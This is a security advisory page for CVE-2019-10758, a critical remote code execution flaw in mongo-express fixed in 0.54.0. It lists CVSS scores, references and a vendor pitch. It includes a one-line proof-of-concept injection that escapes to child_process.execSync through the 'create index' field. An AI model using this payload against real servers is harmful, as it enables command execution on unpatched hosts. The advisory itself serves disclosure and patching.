Vulnerabilities/

CVE-2019-10758

CVE

CVE-2019-10758

Remote Code Execution Vulnerability in NPM mongo-express

Severity

Critical

Base CVSS

9.9

Fixed in

0.54.0

Description

Impact

Remote code execution on the host machine by any authenticated user.

Proof Of Concept

Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

Patches

Users should upgrade to version 0.54.0

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

For more information

If you have any questions or comments about this advisory:

Thanks

@JLLeitschuh for finding and reporting this vulnerability

This vulnerability has been exploited in the wild.

Severity scores

Source

Severity

Base score

CVSS version

Score vector

NVD

Critical

9.9

3.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

OSV

0

3.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H

Endor Labs

9.9

3.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Required action

Apply updates per vendor instructions.

Known ransomware campaign use

Unknown

References

https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq, https://nvd.nist.gov/vuln/detail/CVE-2019-10758, https://github.com/mongo-express/mongo-express/pull/522, https://github.com/mongo-express/mongo-express/commit/7d365141deadbd38fa961cd835ce68eab5731494, https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2, https://github.com/mongo-express/mongo-express, https://github.com/mongo-express/mongo-express/blob/ea02b364d43f179f191fc91fb9962efdb0843a8d/lib/bson.js#L60, https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215, https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758

Basic information

Base CVSS

9.9

EPSS probability

0.8

EPSS percentile

0.99707

Introduced version

0,0.17.0,0.29.18

Fix available

0.54.0

Endor Patches

Fix critical vulnerabilities instantly

Secure your app without upgrading: detect a compatible fix, apply safe remediation, and ship it in a single pull request.

Fix without upgrading

Get a demo of Endor Labs today.